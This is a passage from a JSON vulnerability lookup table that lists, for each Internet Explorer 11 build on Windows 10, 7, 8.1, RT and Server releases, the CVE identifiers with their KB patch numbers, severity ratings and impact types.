Systems":[{"cve":"CVE-2018-8552","kb":"4467708","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-8619","kb":"4471332","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-8625","kb":"4471332","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-8631","kb":"4471332","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2019-0541","kb":"4480116","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2019-0752","kb":"4493509","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2019-1429","kb":"4523205","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2020-0674","kb":"4532691","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2021-26419","kb":"5003171","severity":"Critical","impact":"Remote Code Execution"}],"Internet Explorer 11 on Windows 10 Version 1903 for 32-bit Systems":[{"cve":"CVE-2019-1429","kb":"4524570","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2020-0674","kb":"4532693","severity":"Critical","impact":"Remote Code Execution"}],"Internet Explorer 11 on Windows 10 Version 1903 for ARM64-based Systems":[{"cve":"CVE-2019-1429","kb":"4524570","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2020-0674","kb":"4532693","severity":"Critical","impact":"Remote Code Execution"}],"Internet Explorer 11 on Windows 10 Version 1903 for x64-based Systems":[{"cve":"CVE-2019-1429","kb":"4524570","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2020-0674","kb":"4532693","severity":"Critical","impact":"Remote Code Execution"}],"Internet Explorer 11 on Windows 10 Version 1909 for 32-bit Systems":[{"cve":"CVE-2020-0674","kb":"4532693","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2021-26419","kb":"5003169","severity":"Critical","impact":"Remote Code Execution"}],"Internet Explorer 11 on Windows 10 Version 1909 for ARM64-based Systems":[{"cve":"CVE-2020-0674","kb":"4532693","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2021-26419","kb":"5003169","severity":"Critical","impact":"Remote Code Execution"}],"Internet Explorer 11 on Windows 10 Version 1909 for x64-based Systems":[{"cve":"CVE-2020-0674","kb":"4532693","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2021-26419","kb":"5003169","severity":"Critical","impact":"Remote Code Execution"}],"Internet Explorer 11 on Windows 10 Version 2004 for 32-bit Systems":[{"cve":"CVE-2021-26419","kb":"5003173","severity":"Critical","impact":"Remote Code Execution"}],"Internet Explorer 11 on Windows 10 Version 2004 for ARM64-based Systems":[{"cve":"CVE-2021-26419","kb":"5003173","severity":"Critical","impact":"Remote Code Execution"}],"Internet Explorer 11 on Windows 10 Version 2004 for x64-based Systems":[{"cve":"CVE-2021-26419","kb":"5003173","severity":"Critical","impact":"Remote Code Execution"}],"Internet Explorer 11 on Windows 10 Version 20H2 for 32-bit Systems":[{"cve":"CVE-2021-26419","kb":"5003173","severity":"Critical","impact":"Remote Code Execution"}],"Internet Explorer 11 on Windows 10 Version 20H2 for ARM64-based Systems":[{"cve":"CVE-2021-26419","kb":"5003173","severity":"Critical","impact":"Remote Code Execution"}],"Internet Explorer 11 on Windows 10 for 32-bit Systems":[{"cve":"CVE-2016-0189","kb":"3156387","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2016-0199","kb":"3163017","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2016-3351","kb":"3185611","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2016-7241","kb":"3198585","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0037","kb":"4012606","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0059","kb":"4012606","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-11793","kb":"4042895","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-11810","kb":"4042895","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-11855","kb":"4048956","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-11890","kb":"4053581","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-11903","kb":"4053581","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-11906","kb":"4053581","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-11907","kb":"4053581","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-8618","kb":"4025338","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-8625","kb":"4034668","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2017-8635","kb":"4034668","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-8636","kb":"4034668","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-0840","kb":"4074596","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-0891","kb":"4088786","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-0935","kb":"4088786","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-8145","kb":"4103716","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-8288","kb":"4338829","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-8291","kb":"4338829","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-8353","kb":"4343892","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-8355","kb":"4343892","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-8552","kb":"4467680","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-8619","kb":"4471323","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-8625","kb":"4471323","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-8631","kb":"4471323","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2019-0541","kb":"4480962","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2019-0752","kb":"4493475","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2019-1429","kb":"4525232","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2020-0674","kb":"4537776","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2021-26419","kb":"5003172","severity":"Critical","impact":"Remote Code Execution"}],"Internet Explorer 11 on Windows 10 for x64-based Systems":[{"cve":"CVE-2016-0189","kb":"3156387","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2016-0199","kb":"3163017","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2016-3351","kb":"3185611","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2016-7241","kb":"3198585","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0037","kb":"4012606","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0059","kb":"4012606","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-11793","kb":"4042895","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-11810","kb":"4042895","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-11855","kb":"4048956","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-11890","kb":"4053581","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-11903","kb":"4053581","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-11906","kb":"4053581","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-11907","kb":"4053581","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-8618","kb":"4025338","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-8625","kb":"4034668","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2017-8635","kb":"4034668","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-8636","kb":"4034668","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-0840","kb":"4074596","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-0891","kb":"4088786","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-0935","kb":"4088786","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-8145","kb":"4103716","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-8288","kb":"4338829","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-8291","kb":"4338829","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-8353","kb":"4343892","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-8355","kb":"4343892","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-8552","kb":"4467680","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-8619","kb":"4471323","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-8625","kb":"4471323","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-8631","kb":"4471323","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2019-0541","kb":"4480962","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2019-0752","kb":"4493475","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2019-1429","kb":"4525232","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2020-0674","kb":"4537776","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2021-26419","kb":"5003172","severity":"Critical","impact":"Remote Code Execution"}],"Internet Explorer 11 on Windows 7 for 32-bit Systems Service Pack 1":[{"cve":"CVE-2016-0189","kb":"3154070","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2016-3351","kb":"3185319","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-0059","kb":"4012204","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-11793","kb":"4040685","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-11810","kb":"4040685","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-11855","kb":"4048957","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-11890","kb":"4052978","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-11903","kb":"4052978","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-11906","kb":"4052978","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-11907","kb":"4052978","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-8618","kb":"4025341","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-8635","kb":"4034664","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-8636","kb":"4034664","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-0840","kb":"4074598","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-0891","kb":"4088875","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-0935","kb":"4088875","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-8145","kb":"4103718","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-8288","kb":"4338818","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-8291","kb":"4338818","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-8353","kb":"4343900","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-8355","kb":"4343900","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-8552","kb":"4466536","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-8619","kb":"4471318","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-8625","kb":"4471318","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-8631","kb":"4471318","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2019-0541","kb":"4480970","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2019-0752","kb":"4493472","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2019-1429","kb":"4525235","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2020-0674","kb":"4537820","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2021-26419","kb":"5003233","severity":"Critical","impact":"Remote Code Execution"}],"Internet Explorer 11 on Windows 7 for x64-based Systems Service Pack 1":[{"cve":"CVE-2016-0189","kb":"3154070","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2016-3351","kb":"3185319","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-0059","kb":"4012204","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-11793","kb":"4040685","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-11810","kb":"4040685","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-11855","kb":"4048957","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-11890","kb":"4052978","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-11903","kb":"4052978","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-11906","kb":"4052978","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-11907","kb":"4052978","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-8618","kb":"4025341","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-8635","kb":"4034664","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-8636","kb":"4034664","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-0840","kb":"4074598","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-0891","kb":"4088875","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-0935","kb":"4088875","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-8145","kb":"4103718","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-8288","kb":"4338818","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-8291","kb":"4338818","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-8353","kb":"4343900","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-8355","kb":"4343900","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-8552","kb":"4466536","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-8619","kb":"4471318","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-8625","kb":"4471318","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-8631","kb":"4471318","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2019-0541","kb":"4480970","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2019-0752","kb":"4493472","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2019-1429","kb":"4525235","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2020-0674","kb":"4537767","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2021-26419","kb":"5003233","severity":"Critical","impact":"Remote Code Execution"}],"Internet Explorer 11 on Windows 8.1 for 32-bit systems":[{"cve":"CVE-2016-0189","kb":"3154070","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2016-0199","kb":"3160005","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2016-3351","kb":"3185319","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2016-7241","kb":"3197874","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0037","kb":"4012204","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0059","kb":"4012204","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-11793","kb":"4040685","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-11810","kb":"4040685","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-11855","kb":"4048958","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-11890","kb":"4052978","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-11903","kb":"4052978","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-11906","kb":"4052978","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-11907","kb":"4052978","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-8594","kb":"4025336","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-8618","kb":"4025336","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-8635","kb":"4034681","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-8636","kb":"4034681","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-0840","kb":"4074594","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-0891","kb":"4088876","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-0935","kb":"4088876","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-8145","kb":"4103725","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-8288","kb":"4339093","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-8291","kb":"4339093","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-8353","kb":"4343898","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-8355","kb":"4343898","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-8552","kb":"4466536","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-8619","kb":"4471320","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-8625","kb":"4471320","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-8631","kb":"4471320","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2019-0541","kb":"4480963","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2019-0752","kb":"4493446","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2019-1429","kb":"4525243","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2020-0674","kb":"4537767","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2021-26419","kb":"5003209","severity":"Critical","impact":"Remote Code Execution"}],"Internet Explorer 11 on Windows 8.1 for x64-based systems":[{"cve":"CVE-2016-0189","kb":"3154070","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2016-0199","kb":"3160005","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2016-3351","kb":"3185319","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2016-7241","kb":"3197874","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0037","kb":"4012204","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0059","kb":"4012204","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-11793","kb":"4040685","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-11810","kb":"4040685","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-11855","kb":"4048958","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-11890","kb":"4052978","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-11903","kb":"4052978","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-11906","kb":"4052978","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-11907","kb":"4052978","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-8594","kb":"4025336","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-8618","kb":"4025336","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-8635","kb":"4034681","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-8636","kb":"4034681","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-0840","kb":"4074594","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-0891","kb":"4088876","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-0935","kb":"4088876","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-8145","kb":"4103725","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-8288","kb":"4339093","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-8291","kb":"4339093","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-8353","kb":"4343898","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-8355","kb":"4343898","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-8552","kb":"4466536","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-8619","kb":"4471320","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-8625","kb":"4471320","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-8631","kb":"4471320","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2019-0541","kb":"4480963","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2019-0752","kb":"4493446","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2019-1429","kb":"4525243","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2020-0674","kb":"4537767","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2021-26419","kb":"5003209","severity":"Critical","impact":"Remote Code Execution"}],"Internet Explorer 11 on Windows RT 8.1":[{"cve":"CVE-2016-0189","kb":"3154070","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2016-0199","kb":"3160005","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2016-3351","kb":"3185319","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2016-7241","kb":"3197874","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0037","kb":"4012216","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0059","kb":"4012216","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-11793","kb":"4041693","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-11810","kb":"4041693","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-11855","kb":"4048958","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-11890","kb":"4054519","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-11903","kb":"4054519","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-11906","kb":"4054519","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-11907","kb":"4054519","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-8594","kb":"4025336","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-8618","kb":"4025336","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-8635","kb":"4034681","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-8636","kb":"4034681","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-0840","kb":"4074594","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-0891","kb":"4088876","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-0935","kb":"4088876","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-8145","kb":"4103725","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-8288","kb":"4338815","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-8291","kb":"4338815","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-8353","kb":"4343898","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-8355","kb":"4343898","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-8552","kb":"4467697","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-8619","kb":"4471320","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-8625","kb":"4471320","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-8631","kb":"4471320","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2019-0541","kb":"4480963","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2019-0752","kb":"4493446","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2019-1429","kb":"4525243","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2020-0674","kb":"4537821","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2021-26419","kb":"5003209","severity":"Critical","impact":"Remote Code Execution"}],"Internet Explorer 11 on Windows Server 2008 R2 for x64-based Systems Service Pack 1":[{"cve":"CVE-2016-0189","kb":"3154070","severity":"Moderate","impact":"Remote Code Execution"},{"cve":"CVE-2016-3351","kb":"3185319","severity":"Low","impact":"Information Disclosure"},{"cve":"CVE-2017-0059","kb":"4012204","severity":"Low","impact":"Information Disclosure"},{"cve":"CVE-2017-11793","kb":"4040685","severity":"Moderate","impact":"Remote Code Execution"},{"cve":"CVE-2017-11810","kb":"4040685","severity":"Moderate","impact":"Remote Code Execution"},{"cve":"CVE-2017-11855","kb":"4048957","severity":"Moderate","impact":"Remote Code Execution"},{"cve":"CVE-2017-11890","kb":"4052978","severity":"Moderate","impact":"Remote Code Execution"},{"cve":"CVE-2017-11903","kb":"4052978","severity":"Moderate","impact":"Remote Code Execution"},{"cve":"CVE-2017-11906","kb":"4052978","severity":"Low","impact":"Information Disclosure"},{"cve":"CVE-2017-11907","kb":"4052978","severity":"Moderate","impact":"Remote Code Execution"},{"cve":"CVE-2017-8618","kb":"4025341","severity":"Moderate","impact":"Remote Code Execution"},{"cve":"CVE-2017-8635","kb":"4034664","severity":"Moderate","impact":"Remote Code Execution"},{"cve":"CVE-2017-8636","kb":"4034664","severity":"Moderate","impact":"Remote Code Execution"},{"cve":"CVE-2018-0840","kb":"4074598","severity":"Moderate","impact":"Remote Code Execution"},{"cve":"CVE-2018-0891","kb":"4088875","severity":"Low","impact":"Information Disclosure"},{"cve":"CVE-2018-0935","kb":"4088875","severity":"Low","impact":"Remote Code Execution"},{"cve":"CVE-2018-8145","kb":"4103718","severity":"Low","impact":"Information Disclosure"},{"cve":"CVE-2018-8288","kb":"4338818","severity":"Moderate","impact":"Remote Code Execution"},{"cve":"CVE-2018-8291","kb":"4338818","severity":"Moderate","impact":"Remote Code Execution"},{"cve":"CVE-2018-8353","kb":"4343900","severity":"Low","impact":"Remote Code Execution"},{"cve":"CVE-2018-8355","kb":"4343900","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-8552","kb":"4466536","severity":"Low","impact":"Remote Code Execution"},{"cve":"CVE-2018-8619","kb":"4471318","severity":"Low","impact":"Remote Code Execution"},{"cve":"CVE-2018-8625","kb":"4471318","severity":"Low","impact":"Remote Code Execution"},{"cve":"CVE-2018-8631","kb":"4471318","severity":"Moderate","impact":"Remote Code Execution"},{"cve":"CVE-2019-0541","kb":"4480970","severity":"Low","impact":"Remote Code Execution"},{"cve":"CVE-2019-0752","kb":"4493472","severity":"Low","impact":"Remote Code Execution"},{"cve":"CVE-2019-1429","kb":"4525235","severity":"Moderate","impact":"Remote Code Execution"},{"cve":"CVE-2020-0674","kb":"4537767","severity":"Moderate","impact":"Remote Code Execution"},{"cve":"CVE-2021-26419","kb":"5003233","severity":"Critical","impact":"Remote Code Execution"}],"Internet Explorer 11 on Windows Server 2012":[{"cve":"CVE-2019-1429","kb":"4525106","severity":"Moderate","impact":"Remote Code Execution"},{"cve":"CVE-2020-0674","kb":"4537814","severity":"Moderate","impact":"Remote Code Execution"},{"cve":"CVE-2021-26419","kb":"5003208","severity":"Critical","impact":"Remote Code Execution"}],"Internet Explorer 11 on Windows Server 2012 R2":[{"cve":"CVE-2016-0189","kb":"3154070","severity":"Moderate","impact":"Remote Code Execution"},{"cve":"CVE-2016-0199","kb":"3160005","severity":"Moderate","impact":"Remote Code Execution"},{"cve":"CVE-2016-3351","kb":"3185319","severity":"Low","impact":"Information Disclosure"},{"cve":"CVE-2016-7241","kb":"3197874","severity":"Moderate","impact":"Remote Code Execution"},{"cve":"CVE-2017-0037","kb":"4012204","severity":"Moderate","impact":"Remote Code Execution"},{"cve":"CVE-2017-0059","kb":"4012204","severity":"Low","impact":"Information Disclosure"},{"cve":"CVE-2017-11793","kb":"4040685","severity":"Moderate","impact":"Remote Code Execution"},{"cve":"CVE-2017-11810","kb":"4040685","severity":"Moderate","impact":"Remote Code Execution"},{"cve":"CVE-2017-11855","kb":"4048958","severity":"Moderate","impact":"Remote Code Execution"},{"cve":"CVE-2017-11890","kb":"4052978","severity":"Moderate","impact":"Remote Code Execution"},{"cve":"CVE-2017-11903","kb":"4052978","severity":"Moderate","impact":"Remote Code Execution"},{"cve":"CVE-2017-11906","kb":"4052978","severity":"Low","impact":"Information Disclosure"},{"cve":"CVE-2017-11907","kb":"4052978","severity":"Moderate","impact":"Remote Code Execution"},{"cve":"CVE-2017-8594","kb":"4025336","severity":"Moderate","impact":"Remote Code Execution"},{"cve":"CVE-2017-8618","kb":"4025336","severity":"Moderate","impact":"Remote Code Execution"},{"cve":"CVE-2017-8635","kb":"4034681","severity":"Moderate","impact":"Remote Code Execution"},{"cve":"CVE-2017-8636","kb":"4034681","severity":"Moderate","impact":"Remote Code Execution"},{"cve":"CVE-2018-0840","kb":"4074594","severity":"Moderate","impact":"Remote Code Execution"},{"cve":"CVE-2018-0891","kb":"4088876","severity":"Low","impact":"Information Disclosure"},{"cve":"CVE-2018-0935","kb":"4088876","severity":"Low","impact":"Remote Code Execution"},{"cve":"CVE-2018-8145","kb":"4103725","severity":"Low","impact":"Information Disclosure"},{"cve":"CVE-2018-8288","kb":"4339093","severity":"Moderate","impact":"Remote Code Execution"},{"cve":"CVE-2018-8291","kb":"4339093","severity":"Moderate","impact":"Remote Code Execution"},{"cve":"CVE-2018-8353","kb":"4343898","severity":"Low","impact":"Remote Code 